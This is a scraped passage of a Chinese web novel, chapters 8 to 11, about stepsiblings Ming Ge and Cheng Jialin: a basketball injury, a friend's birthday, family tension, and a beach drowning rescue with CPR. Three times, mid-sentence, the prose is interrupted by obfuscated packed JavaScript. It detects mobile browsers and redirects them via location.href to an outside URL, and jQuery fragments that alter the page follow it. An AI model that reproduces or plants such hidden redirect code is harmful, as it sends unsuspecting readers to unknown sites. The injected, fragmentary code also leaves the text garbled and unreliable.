教室里闹哄哄的,后排只有蒋述在做作业。明歌拖着郑心榕进门,蒋述似有所感,抬头,对郑心榕眯了眯眼。
又是那种古怪的眼神,这次似乎还隐含了一丝威胁的意味。
郑心榕低下头,拉着明歌快步走回座位。
明歌心里很不舒服,像蚂蚁在爬。蒋述十分有十二分的不对劲,明歌在心里盘算,要找个合适的时机问问看郑心榕,他们两个以前到底是怎么回事。
郑心榕仔细地把雨伞上的水擦干,整理好挂在桌边,向明歌解释:“我昨晚回去就发烧了,今早实在撑不住,就请了一节课的假。本来想上午都不来的,可是笔记本还没还给你,而且我生物不好,不听课就跟不上了。”
明歌点点头。
她撕掉巧克力包装,掰开,和郑心榕一人一半。这巧克力是程嘉临很喜欢的牌子,他常常补货,明歌寒假在他房间做作业的时候,总能看到各种口味的这个巧克力摆在零食架最显眼的地方。程嘉临给她的是开心果味儿,甜而不腻,确实好吃。
巧克力在嘴里慢慢融化,预备铃响了,但生物老师还没来。明歌仗着自己开学考生物第一名,目前是生物老师的得意门生,艺高人胆大,在桌肚里发消息。
明歌:【谢谢哥哥。】
程嘉临也没认真上课:【谢什么?巧克力还是帮你解决了芒果?】
明歌:【都谢。[小狗弯腰.jpg]】
不知道是不是在认真听课,程嘉临隔了一阵没有回复,明歌这边生物老师也进来了,让他们从后往前传笔记本。
屏幕顶端又弹出一条消息,程嘉临说:【帮你谢过赵奕潇了,顺便提醒他,下次如果非要投喂你,换成草莓的。】
8. “击掌”
听说明歌喜欢的不是芒果而是草莓,赵奕潇默默颓废了两天,过了一个周末又重振旗鼓、卷土重来……总之查阅大量攻略后,他锁定了一家探店博主好评率高达百分之九十的甜品店,购入招牌草莓麻薯,在周一下午一点四十五蹲到了明歌。
赵奕潇双手合十,在明歌面前可怜巴巴地道歉:“我这次真的记住你最喜欢的水果是草莓了,你尝一下这个,好吃的话我下次带你去店里吃,他们家还养了好几只小猫呢,特别亲人。”
不知道程嘉临到底怎么跟赵奕潇说的,让他突然产生了一个明歌很爱吃草莓的误解。
“不过你能收下之前那块芒果蛋糕我特别开心,真的。”赵奕潇补充道,明歌仿佛看见一条毛茸茸的尾巴在他身后疯狂摇摆。
明歌依旧是和程嘉临一起行动,程嘉临原本站在明歌身边一步远的距离,赵奕潇一伸手,他就被挤得远了一点。
程嘉临被另外两个人忽略,本就冷淡的神色又沉了几分。
这场景很像明歌第一次和他们一起吃饭,江乐追出来的那天,不过这次程嘉临和明歌角色互换了。
风水轮流转。
程嘉临轻咳一声,意思是我急着上课,你们搞快点。
明歌想笑,也确实笑出来了,圆圆的梨涡挂在嘴角,大大方方地说:“谢谢,有机会一起去的话,我请客吧。”
“不用不用,”赵奕潇连连摆手,“我们班这周的体育课调到周三下午了,和你们同一节,想谢我的话,周三我们和别的班打篮球友谊赛的时候,你给我加油吧。”
明歌点头。
——“好呀。”
自从周一下午之后,赵奕潇就亢奋得不得了,直到周三体育课前,赵奕潇还在和程嘉临嘚啵,“她说“好呀”诶,她答应我了,你说我能不能拿mvp啊?我今天这双鞋够帅吗?”
程嘉临太阳穴突突疼,“你能不能别学我妹说话?”
“哎呀,小歌说话的语气多可爱啊,我学一下咋了。我怕小歌一个人给别的班的同学加油社恐,到时候你也得为我应援啊。”
一提到明歌,赵奕潇就跟刚开瓶的汽水一样,高兴得冒泡。程嘉临定定地看着他,半晌问:“你喜欢她?”
赵奕潇猛然安静下来,一层薄红顺着他的脖颈慢慢向上爬,没一会,他整颗头就红得像颗西红柿。
赵奕潇挠头:“这么明显啊……”
一到这种能挤兑赵奕潇的时候,陈夏就特别积极:“是啊是啊,你再明显一点,明天刘茜就也看出来了。”
赵奕潇突然想起什么,绝望地看向程嘉临:“小歌也看出来了?”
程嘉临掰开活页本线圈,一张一张地加纸,低头回答:“不知道,也许吧。”
陈夏附和:“小歌那么聪明肯定看出来了,你俩到底有没有戏啊?”
“应该有吧,她收了我的草莓麻薯,还对我笑……”
程嘉临受不了他那副傻缺样,非常现实地打断他:“你要出国,她的成绩大概率走国内高考,你俩双箭头再粗都不太有戏。你们走不走?其他人都走完了。”
赵奕潇手忙脚乱地冲去换衣服,陈夏神秘一笑:“我就不去了,我们小月牙今天过生日,我特意给她订了鲜花,一会儿去取,下课后一起吃晚饭,你们都不许迟到啊。”
明歌体育课自由活动的安排一般是被郑心榕挽着手在跑道上遛弯,今天因为和赵奕潇的约定,变成了郑心榕跟着她一起看高三两个班打球。
球场边已经围了一圈人,明歌本来想去更前面的位置,走近了才瞥见蒋述就站在距离她们几步开外的地方。明歌趁郑心榕视野被挡住,不动声色地拐了个弯,带她转向另一侧。
蒋述的目光从她的背影上缓缓滑过,最后沉沉落在明歌雪白的后颈上。
为了区分队伍,上场的人都把校服换成了班服。赵奕潇一身黑色冲锋衣,连裤子都换了,大冷天穿着一条白色的短裤和一层薄薄的紧身裤,正弯腰系鞋带,起身时四下张望了一会,和明歌对上视线后,眼睛一亮。
明歌朝他挥手。
手刚抬起来,旁边突然伸过来一只手,“啪”一声,和明歌击了一掌。
明歌愣了一下,扭头一看,程嘉临不知道什么时候窜了过来。
明歌吓了一跳:“你干嘛呀?”
他面无表情地站在明歌右边,左手向后反扣,和明歌右手掌心虚虚相贴:“击掌啊。”
遇到无法理解的事情的时候,明歌一般选择先信任他人,他们这么做一定有自己的原因。所以明歌说:“哦。”
她顺势将手指卡进程嘉临的指缝,像扒拉被子一样,带着他的手往下放。程嘉临没挣,视线跟随着两人松松相扣的十指,从半空中落下来,垂到身侧。
明歌很快地松开手,程嘉临指尖轻轻蜷了一下。
郑心榕眨了眨眼,又眨了眨眼:“……学长好。”
她有种很奇怪的感觉,可能是因为她没有兄弟姐妹,不太懂兄妹之间的相处模式吧。
那边赵奕潇的比赛已经开始了,他运着球往篮下冲,对方队员的防守没干扰到他投篮,他几步跨过去,整个人像是弹了出去,手往前一伸,送球入框,篮网抖动两下,他落地,用手背抹了一把下巴上的汗。
明歌跟着周围激动的人群一起鼓掌,程嘉临也叫“好球”。
明歌边拍手边问程嘉临:“这个球几分?”
“三分,他从三分线外起跳的。”
“跳得好远,”跳远从没及格过的明歌感叹,“厉害。”
程嘉临轻轻拨明歌的马尾,语气略带不满:“我早就想说了,你给他加油,怎么不给我加油,你们两个关系是不是太好了?”
明歌从头到脚打量了一下他这身校服:“你上场吗?”
程嘉临:“不上。”
明歌:“那我怎么给你加油?”
程嘉临:“……”
明歌和郑心榕都没什么运动细胞,篮球赛更是看不懂一点,全靠程嘉临边看边科普。
郑心榕到后半场彻底看进去了,拽着明歌激动地小声尖叫。后者兴致缺缺,越听越走神,直到郑心榕逐渐安静下来,才疑惑地问:“怎么了?”
郑心榕抿唇一言不发,这神情明歌很熟悉,她看了篮球场一眼,发现蒋述不知道什么时候上场了,混在另一个班的队伍里,正在防守赵奕潇,“蒋述怎么上去了?”
程嘉临:“有个队员摔了一跤,他临时上去当替补了,这是你们班同学?”
“小心!”郑心榕的声音变了调。
明歌陡然回神,只见一团黑影飞快地向自己砸来,速度之快,根本无暇躲避。就在她以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406737|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为自己要被砸到的时候,头顶伸出一只胳膊,紧接着“咚”一声闷响,篮球应声落地,在地上弹了两下滚远。明歌抬头,看到程嘉临校服袖子黑了一片,他正托着手肘朝球场大吼:“看着点儿啊,站这么远都误伤!”
赵奕潇也顾不上耍帅,紧张地问:“你们俩没事儿吧?”
程嘉临摇头:“没事……”
明歌突然一声不吭地开始扒程嘉临外套。
程嘉临手臂剧痛尚可维持表情冷静,拉链被明歌“唰”地拉开,立刻不淡定了,大惊失色:“不是,你有话好说别脱我衣……”
明歌充耳不闻,利索地把程嘉临被砸的那只手从外套里剥出来,轻而不容反抗地把袖子捋上去,小心地没碰到他的伤处。
程嘉临小臂皮肤红得发亮,一看就砸得不轻。
“不好意思。”罪魁祸首蒋述走过来,垂眼整理好袖口,笑道,“打上头了,没控制住。我会赔偿的,需要去医院吗?”
郑心榕把明歌的衣角攥得皱巴巴,避开蒋述的目光,小声说:“小歌。”
明歌不动声色地把郑心榕拉到自己身后:“心榕,能帮我拿一下水杯吗?我陪我哥去医务室。”
郑心榕飞快地跑走了,蒋述丝毫不在意她,还是笑,镜片后的目光鱼似的在明歌和程嘉临之间游移:“毕竟是我的错,我和你们一起去吧?我不会打扰你们的。”
“不用。”明歌没征询程嘉临的意见,生硬地打断蒋述,“我们先走了。”
*
医务室。
校医给程嘉临做了应急处理,五分钟前,郑心榕和赵奕潇一起,分别把明歌和程嘉临的书包送到了医务室。
郑心榕家管她很严,明歌便让郑心榕赶紧回去。赵奕潇嘘寒问暖好一阵,被陈夏一个电话劝走了。
陈夏那边的环境很嘈杂,大声问赵奕潇和程嘉临什么时候能到,赵奕潇为难地解释了一下目前的状况,一步三回头地离开了。
明歌帮程嘉临冰敷,问他是不是原本有事。
程嘉临也是听到陈夏的电话才想起来,说:“今天是月牙——就是江乐——的生日,她在饭店订了座位,晚自习前请几个朋友吃饭。”
“那你不是去不了了吗?”
“没事,我白天就把礼物给她了。”
明歌不说话了。
程嘉临叹气:“疼的是我,怎么不高兴的是你呢?”
明歌没应声,只是肩膀轻轻耸动了一下,幅度很小,却被程嘉临捕捉到了。程嘉临心里咯噔一下,往前凑了凑:“不是吧?”
明歌抬起头,她的眼睛红透了,长睫毛黏成几缕,像被雨水打湿的细草。可能是由于刚才低着头,一滴眼泪挂在她通红的鼻尖,摇摇欲坠地晃了好一会,最终啪嗒一声,落在明歌手背上,晕出浅浅的水渍。被程嘉临戳破以后,她依旧哭得很安静,只是不再刻意控制,任眼泪大颗大颗地往下掉。
“对不起。”明歌说,“如果不是我,你就不会受伤了,安排也不会被打乱。”
程嘉临大脑宕机:“你道什么歉?又不是你砸的。”
明歌边吸鼻子边用手背擦眼泪,不仅没止住哭,还让泪水糊了一脸。程嘉临一个头两个大,用没受伤的那只手揽住她,像小时候妈妈哄他一样拍她的后背,“好了,好了。真的没事,不要难过。”
9. 绣球
“别难过啦。”
陈夏把江乐搂在怀里,轻声细语地安慰。赵奕潇坐在两个女孩对面,也点点头,表示过生日应该开心一点。
他们坐在一家创意餐厅里,原木色餐桌上摆着一捧巨大的浅粉色花束,陈夏捧着这束花出现时江乐惊喜不已,小心翼翼地摸了摸圆滚滚的花苞,问江乐这是什么花。
陈夏说这是可爱瓷,花语是甜美的女孩,“希望小月牙成年之后也可以一直像小女孩一样开心。”
可惜陈夏美好的祝愿落了空,江乐成年生日当天就不太开心,而罪魁祸首更是倒霉,被一颗篮球砸进了医务室,晚自习都请假了。
江乐嘴上不说,心里是很在意自己十八岁生日的。她瞒着父母做了很久攻略才定下这家离学校不远、环境温馨的餐厅,邀请为数不多的朋友来给自己过生日。放学前还借着上厕所的名义,躲进洗手间涂上自己用奖学金买的口红,因为不熟练,涂了好几遍才勉强满意。
她撑在洗手台,尽可能地把脸靠近镜面,看见镜子里自己唇边细小的绒毛,和亮晶晶的嘴唇。
“樱桃粉”色的口红被她攥得发热,镜中的女孩眼睛和星星一样亮,她禁不住想,她默默喜欢了很久的男孩子,能发现她今天的变化吗?
陈夏告诉她程嘉临不能来的时候,江乐有一瞬间的冲动想去医务室看看他。但她已经点好了菜,这家店实在不便宜,而且陈夏和赵奕潇都在来的路上,她还是放弃了。
江乐强压下内心的失落,扬起一个大大的微笑:“没事啦,我就是有点担心他。吃不到我请客的饭是他的损失,我们吃我们的,这家店据说特别好吃。”
*
程嘉临没吃上江乐的饭,倒是久违地在家吃了顿晚饭。
宋阿姨听明歌说程嘉临手被砸了,心疼得不得了,他们一进门就要看程嘉临的伤。
程嘉临生怕明歌触景生情又掉眼泪,敏捷地躲开宋阿姨的手,还把袖口往下拉了拉:“阿姨我真没事儿。我饿了,吃饭吧。”
喊饿对宋阿姨有奇效,宋阿姨一听到这个字,立刻什么都忘了,马上去盛饭。
不在教室上晚自习,加上两个大人出差不在家,程嘉临的臭毛病一下子就多了起来,做题要听歌,要吃水果,仗着宋阿姨正是心疼他的时候,在她临睡前还厚着脸皮要了顿宵夜。
明歌推开门,看到的就是这样一副景象:程嘉临没骨头似的趴在书桌上,宽松的卫衣由于他过于舒展的动作扯上去几寸,露出一截劲瘦的后腰。他嘴里叼着叉水果的叉子,手边放着份吃了一大半的果盘,指尖上,一支黑笔飞速旋转。
明歌把热腾腾的西多士放在水果旁边。
程嘉临宛如炸毛的猫,“噌”一下坐直:“你进来怎么不敲门?”
明歌无辜极了:“我敲了好几遍,还叫你了,我以为你听到了。”
程嘉临摘下蓝牙耳机:“你说什么?”
明歌:……
“我说,是你没听到我敲门。”明歌好脾气地重复了一遍,“夜宵,我帮宋阿姨端上来了。”
明歌说完就要走。
“你别走。”程嘉临叫住她。
“怎么了?”
程嘉临只开了一盏台灯,昏暗的灯光下,明歌的表情看不真切,但他就是莫名觉得明歌的眼尾还有点发红。程嘉临也说不清自己为什么突然把她叫住,慌乱之中瞥到炸得金黄的面包块,胡扯道:“太多了我吃不完,我俩把这些分了吧。”
程嘉临生怕她说自己不想吃,但明歌静了一会,说:“好吧。我去拿个新叉子。”
“不用,我用吃水果的叉子就行,你用那根新的。”
明歌本来就只是下楼倒个水碰上宋阿姨顺便帮她送个外卖,手机习题一样没带,程嘉临怕她无聊,分给她一只耳机。
“Isatthinking,vaguely,thatAgneswassomehowessentialtothehomeIwouldonedaybuild.”
我坐在那里,心中恍惚想到爱妮丝将是我必建的家中不可缺的。
“whateverfeelingIhad—love,joy,sorrow,hope,ordisappointment—myheartnaturallyturnedthere;thereIfoundrefugeandthetruestfriend.”
爱情、欢乐、忧伤、希望和失望——我的心都自然而然转向那里;在那里得到庇护和最好的朋友。
耳机里的女声娓娓道来,是《大卫·科波菲尔》。
程嘉临把唯一的椅子让给明歌,自己拿了本书垫着卷子,盘腿坐到床上刷题,咬着一块西多士,慢慢地嚼。
明歌回想起几分钟前宋阿姨半真半假的抱怨,她说嘉临从小就这样,有点小伤小病就要任性。嘴上这么说,眼角眉梢的笑意却藏也藏不住。
程嘉临能自然而然地向父母长辈撒娇耍赖,永远往热闹的地方凑,就连学习时都要同时做很多件事情。
明歌突然觉得他很像一株绣球,生来抱团成簇,热热闹闹地绽开,无数细小的花萼向四面八方伸展,每一朵都牵着一个人、一件事,每一朵都迫不及待地嗅闻这世界的空气。
眼泪代表着难过、遗憾、愧疚和委屈,明歌很擅长在合适的时机给别人看自己的眼泪,让他们以为她是柔软温暖的。
程嘉临不是例外,他也会被骗过去,这之后,可能也会有一朵小花冲她探头。然后他们关系和睦,兄友妹恭,所有人都满意,到明歌高考完离开为止。
明歌托着腮发呆。自从来到宁城以后她就多了个习惯,喜欢在心里默默计算距离离开宁城还有多久。
程嘉临吞了口里那块面包,要下来拿新的。
明歌刚叉了一块,见他扑过来,顺手举到他面前:“喏。”
程嘉临也不知道自己怎么想的,缓缓俯下身,明歌的手臂随着他的动作逐渐往回缩,两人视线齐平时,程嘉临握住明歌拿叉子的手,就着这个姿势,把面包块送进嘴里。
他几乎把明歌压在椅子里,直到淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406738|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡的甜味在嘴里化开,才后知后觉地反应过来这是个极其暧昧且充满侵略感的姿势,意识到这一点的瞬间,热意像燎原的火星,从两人相触的手上扩散到程嘉临全身。而后者体温依然很凉,无动于衷地任由他抓着,平静地问:“你怎么了?”
程嘉临松开手,目光从明歌的脸上转移到明歌的发尾。
这一看就发现明歌头发还是潮的。
“你没吹头发?”程嘉临问。
“唔,本来是准备给你送完夜宵回去吹头发的,不过现在也快被暖气烘干了。”
程嘉临转身去浴室里拿了个吹风机出来。
明歌怔了一下:“不嫌吵吗?我马上就吃完回房间吹。”
程嘉临不仅不嫌吵,还把明歌拎到床边坐好,他跪在后面,亲自给她吹。
程嘉临的手法非常狂野,明歌感觉自己的发根很恐怖地被他拨到它们原本不该去的方向,总之不像是在给活人吹头。
明歌真是搞不懂,程嘉临一个这么笨手笨脚的大少爷,为什么总执着于照顾人。
明歌不敢想自己的发型会变成什么样,绝望地闭上了眼睛。
*
第二天早上,郑心榕见到明歌第一句话:“你把刘海夹上去啦?”
明歌:……
这是她今天早上第三次听到这句话,前两次分别来自于宋阿姨,和把她刘海吹分叉导致不得不夹起来的程嘉临。
明歌心累。
蒋述从昨晚开始给明歌发消息询问是否需要赔偿,但明歌一直没回,今早他又过来问了一遍。
郑心榕怕蒋述怕得太明显,明歌就让他一起去走廊说。
受伤的毕竟是程嘉临,这件事最后怎么处理还是程嘉临说了算,明歌便发信息问程嘉临有空的时候要不要和蒋述聊一下。
“他说不严重,你不是故意的话,这次就算了。”明歌把程嘉临的原话转达给蒋述。
蒋述点头:“不过这样我总有些过意不去,我请你和你哥哥吃饭赔罪吧?”
明歌一看见蒋述就烦,搬出程嘉临,委婉拒绝道:“不用了,我哥哥高三比较忙。”
“这样啊。”蒋述表情很遗憾。
*
“程嘉临?”
“啊?”程嘉临回完明歌的消息,茫然抬头,“怎么了?”
江乐和陈夏挤在同一个座位上,陈夏亲昵地搂着江乐的腰:“我们小月牙问你,手还痛不痛,关心你呢,这次听清楚没?”
陈夏捏着江乐的下巴往上抬了抬,“月牙儿昨天涂的唇釉可好看了,我拍了好多照片,没看见超级大美人真人简直是你的损失。”
江乐被她说得脸越来越红,挣开她的手,对程嘉临说:“才没有呢,小夏瞎说。你真的不严重吧?”
程嘉临也有点尴尬:“真没事儿。”
江乐有多期待他能去参加她的生日,程嘉临不是不知道。
作为朋友,他很欣赏江乐,但是别的方面他真的一点意思都没有,飞来一场横祸让他缺席江乐的生日,他心里其实有种隐秘的轻松。
10. 海浪和泥沙
程嘉临最后避开了女生的目光,向她道歉。
江乐不知道他道歉的真正原因,体贴地说:“没关系,你又不是故意的,你伤得不严重就好。”
这是真的,他手臂上只是看着吓人,其实没什么大事,程嘉临也是这样劝宋阿姨的,让她不要把他被球砸了的事情告诉程明谦和明诗悦。他对着宋阿姨好说歹说,未成想一时不察,周六挽着袖子路过客厅,被刚进门的明诗悦抓了个正着。
“这是怎么弄的?”明诗悦把程嘉临按在沙发上,眼里满是关切和心疼,“涂药了没?看医生了吗?”
程嘉临看着明诗悦,脑子里想的却是明歌,明歌生病的那次,明诗悦有这么紧张吗?
他挣开明诗悦,快速扯下袖子,把手臂遮得严严实实,含糊其辞:“体育课弄的,都快好了。”
程嘉临逃得飞快。他这种不亲近不配合不反抗的态度不是一天两天了,按理说明诗悦早应该习以为常,这天却眼皮一直跳。她勉强忍耐到午饭后,犹豫片刻,敲开明歌的房门。
说是敲,见明歌房门没关严,她叩了一下便直接推门进去了。明歌反应不及,只来得及把笔记本匆匆扣上。
好在明诗悦并没有注意到她的小动作。明诗悦步履焦急,神态和除夕那天一模一样——她在焦虑。
这是明歌搬过来之后明诗悦第一次主动找她,明歌觉得她的妈妈不是来和女儿交流感情的。
明歌仰头问:“你有什么事吗?”
果然,明诗悦说:“嘉临的伤是怎么回事?”
“体育课球砸的。”为了保护我。明歌隐去了这一前提。
“真的?”
“他不是这么跟你说的?”
明诗悦沉默。明歌闭了闭眼,一股疲惫感卷了上来:“你来就是问这个吗?”
明诗悦放软了语气,“嘉临也是我的孩子,他平常话不多,妈妈也是关心则乱……”
重音在“我”,意思是程嘉临不仅是他亲生母亲的孩子,也是明诗悦的孩子,重点在于程嘉临现在有两个妈妈,而不是明诗悦有两个孩子。
有那么一瞬间,明歌真的很想问,那我呢?
明歌印象里,明诗悦好像从来没有正眼看过自己,是因为她长得像苏海,所以明诗悦把对前夫的恨转嫁到她身上了吗?
但明诗悦面对她时,眼神又并不是全然的厌恶,更像蝴蝶的蛹,包裹着很多明歌看不懂的脆弱的事物,会被任何尖锐的东西轻易刺伤。
明歌妥协了,乖顺地说:“我……”
——我不会给你和哥哥还有叔叔添麻烦的。
“小歌?”
短短半小时内,明歌的房门第二次被敲响,程嘉临端着盘子探进个脑袋:“门没关,能进吗……阿姨?我打扰你们聊天了?”
程嘉临表情十分无辜,浑然不知自己正是这对母女这场“聊天”的话题源头。
明诗悦神色僵了一瞬,很快恢复往常的微笑:“就是问问小歌这段时间在学校感觉怎么样,你有事找她?”
“哦,”程嘉临不知道为什么有点心虚,赶紧搬出正当理由,“我帮宋阿姨捎水果给小歌。”
明诗悦不再多说,嘱咐他周末也要劳逸结合,临走前带上了门。
程嘉临把水果放在明歌桌上,明歌盯着盘子里红彤彤的草莓,试图把自己抽离成旁观者,这样糟糕的情绪就不会长时间影响她。
她脑袋上突然多了一只手的重量。
明歌下意识地拍开。程嘉临捂着手臂发出一连串怪叫,大惊小怪地说:“那么大劲儿,给我拍成重伤怎么办?”
明歌这才发现程嘉临没走,这下她糟糕的情绪被彻底打断,鼻子不是鼻子眼不是眼和程嘉临对视了几秒,指他的右手:“你伤到的不是左手吗?”
“转移了呗。”
程嘉临说这话时半点不脸红,脸上带着狡黠的笑意,露出两颗尖尖的虎牙。
明歌也是最近才意识到程嘉临并不是面瘫,相反,他各种各样的表情都很生动,笑起来像积了一冬的雪在春光里融化。
那只手最后还是在明歌的默许中放到了她的头顶。程嘉临拍拍她蓬松的脑袋:“不高兴啊?”
明歌否认:“没有。”
寒假里程嘉临总来明歌房间做作业,对她房间的布局很熟悉,他轻车熟路地取下明歌挂在门后的外套,往她身上一裹:“行,那看在你这么高兴的份上,跟我出去玩儿吧。”
程嘉临想一出是一出,不到十分钟,明歌就被他绑架到地铁上。
对于明歌来说,这是一种十分新奇的体验,车厢晃动的幅度让人昏昏欲睡,每次到站停车时,两人的腿都会因为惯性短暂地贴在一起。
明歌撑不住了,脑袋一歪,第二次在程嘉临肩膀上睡过去。
*
出站之后,明歌才明白为什么程嘉临要带她坐地铁而不是打车——地铁站直通滨海广场,车辆只能停在外围马路上,要走一大段路才能看见海。
说来惭愧,明歌虽然是土生土长的沿海城市江明人,但是她和苏海住的主城区离海岸线太远,她从小到大都没去过几次海边。
穿过绿化区,视野陡然开阔起来。阳光毫无保留地落下,照得人皮肤发烫,海风却是凉的,带着一丝咸涩的气息柔柔地穿过发丝。沿海步道下连着沙滩,周末正是热闹的时候,海滩上男女老少都有,许多人三三两两地聚在一起赶海玩。
许是明歌长得太面善,短短几步路,吸引了两三个卖鸟食的小贩。
“妹儿啊,第一次来玩儿吗?买杯鸟食跟你对象儿一块儿喂呗,这儿的海鸥都不怕人!“
明歌冲满脸堆笑的小贩摆摆手:“他不是我对象。”
小贩的笑容僵在脸上,明歌紧接着说:“他是我家少爷。”
程嘉临:?
明歌最后还是买下了一份鸟食,她用竹签叉着肉肠,朝半空中用力一抛,肉肠远远甩脱出去,引来一群海鸥争相分食。
程嘉临撑着手臂坐在一块儿岩石上,视线跟随着明歌抛出去的鸟食飞远,落在远处起伏的小山上,“我是你家少爷,那你是什么身份啊?”
明歌正要回答,不远处忽然爆发出一阵惊叫。
明歌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406739|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向声音来源望去,几十米外的浅滩上已经聚起了一小堆人,一个女声哭喊着,声音很尖锐,断断续续,被海风吹得七零八落。她心头一跳,向他们跑去,程嘉临愣了一下,随后跟上。
“不好意思,让一让……”明歌扒开人群,一个浑身湿透的小女孩趴在沙滩上,旁边蹲着一个同样湿漉漉的男人,正把女孩翻过来,孩子面色灰青,嘴唇发紫,软塌塌地任由旁人摆弄。
有人在小声说“浪太大了”,有人在喊“有没有医生”,一个女人捂着嘴,跪在孩子身边泣不成声。
程嘉临第一反应是搂住明歌安抚她,明歌却不容分说地推开他的手,丢下一句“赶紧叫救护车和报警”,紧接着一个箭步上前,扑通一声跪在孩子身边。
明歌的感官仿佛消失了大半,她的视野不断收窄,最后只剩一条细细的缝,唯一能看见的就是那个溺水的小孩儿。
她把小女孩的头偏向一侧,两根手指伸进嘴里快速清掉泥沙和泡沫,大致清干净后,耳朵凑近孩子口鼻上方——程嘉临很快反应过来她在判断小女孩还有没有呼吸,情况显然不乐观,因为明歌的眉头紧紧皱在了一起,嘴唇也不受控制地发抖。
明歌很快调整好状态,直起身子,双手交叠按在小孩的胸骨上,用力压下去。连续按压几十下后,她深吸一口气,捏住孩子的鼻子,对她做人工呼吸。这一套动作行云流水,重复几次后,孩子忽然呕了一声,浑浊的海水从嘴角涌出,紧接着咳嗽一声。
小女孩终于开始呼吸了。
女孩的母亲立刻连滚带爬地扑过去,明歌拽住她,开口才发现自己嗓音发着抖:“别碰她,等救护车来。”
女人彻底瘫软在明歌身上,“呜呜”的哭声中夹杂着颠三倒四的感谢。
明歌也没力气了,她向后一靠,被一个怀抱接住。
程嘉临抹掉她满脸湿乎乎的泪,轻柔地安慰:“别害怕,没事了,你做得很好,大家都没事了,深呼吸……”
明歌在他的声音中慢慢捋顺自己的呼吸,攥住他一只手站起来,问:“医生什么时候来?”
“很快了,最近的医院离这里只有不到两公里。”
如程嘉临所言,救护车来得很快,人群自动给急救人员让出一条道,急救人员专业且迅速地开始给小女孩检查。
明歌紧紧牵着程嘉临,主动说:“刚才做过心肺复苏和人工呼吸了,按压了五六分钟,她吐了水,有呼吸,就是倒气,不太规律。”
“做得好。”急救人员抬头看了她一眼,目光里满是赞许,“要不是你,等我们来就来不及了。”
之后警察也赶到现场,简单向明歌问了几句话。
处理完一切后,天已经全黑了。
俩人都沾了一身泥沙,明歌尤其狼狈,外套的下摆和袖口都湿了,发绳不知道掉在了哪里,分不清是被汗水还是泪水浸湿的头发黏糊糊地贴在脸颊上。
入夜以后风凉了不止一个度,程嘉临怕她着凉,把自己的外套换到了她身上。
然后左手抱着她的外套,右手牵着她,慢慢走出公园,坐上回家的出租车。
11. 刀尖
回去的路上明歌一直没说话,两人相贴的掌心间沁出一层薄汗,但谁也没有松开。
下车。
刷门禁。
到家门口。
程嘉临轻咳一声:“那个……我钥匙在右边口袋里。”
意思是要撤手了。
明歌掏了一下他外套的兜,摸出一副蓝牙耳机:“没有啊。”
“……裤子口袋。”
“哦。”明歌丢了魂似的,伸手就要摸他裤兜。
程嘉临像被踩了尾巴的猫,浑身的毛都炸了起来,一把撒开明歌的手,宛若守贞烈女一般,护着自己大腿往后退:“你别……!”
路灯的暖光恰到好处地打在他侧脸上,照亮他瞪得溜圆的眼睛,和红得要滴血的耳朵尖。
明歌如梦方醒:“哦,对不起。”
程嘉临掏出钥匙,刚找到对应自家院门的那一把,袖口又被轻轻拽了一下。
他手一哆嗦,钥匙掉了。
……
客厅灯亮着,宋阿姨在二楼拖地,听到门响,探头向下看,这不看没事,一看就不得了,宋阿姨大惊失色:“你们两个这是怎么回事?去沙滩上打滚啦?”
“我们……”明歌突然在后面拽了程嘉临一下,程嘉临即将脱口而出的话在嘴边拐了个弯,“不小心摔了一跤。”
明诗悦可能在书房办公,他们几个的动静没有惊动她。
好在宋阿姨上了年纪眼神不是很好,没注意到明歌苍白狼狈的脸色,只叫他们赶紧去洗澡换衣服。
被热水一泡,明歌才勉强缓过来。
她一直以为苏海的死亡没有给自己留下什么深刻的印象,然而在海滩边看到小女孩溺水的脸时,苏海倒下的场景开始一遍又一遍在她脑海里反复播放。
苏海应当是也看见了她,他冲她招招手,动作间带出了口袋里的打火机,他蹲下去捡,再也没站起来。
她横穿马路飞奔过去,鸣笛声、斥责声和惊呼声混在一起炸开。
她甚至能一字不差地复刻那天路人之间的对话。
她紧紧抱住自己的双腿,膝盖挤压着肋骨,热水没过锁骨、下巴,接着漫进口鼻,窒息感让她心脏紧缩,泛起尖锐的疼痛。
程嘉临今天给她擦脸的时候说:“别害怕。”
明歌茫然地想,我在害怕吗?
她终于支撑不住,身体骤然放松,扑到浴缸边缘,发出一声压抑的呜咽。
*
半夜十一点,夜深人静、万籁俱寂,坚持健康作息的宋阿姨睡眠时长已经高达半个小时。
程嘉临给明歌发消息:【你饿不饿?】
明歌推开门,把准备敲门的程嘉临逮个正着,她问:“你饿了?”
程嘉临干巴巴地说:“好巧。”
“不巧,我听见你脚步声了。”明歌又问了一遍,“你饿了吗?”
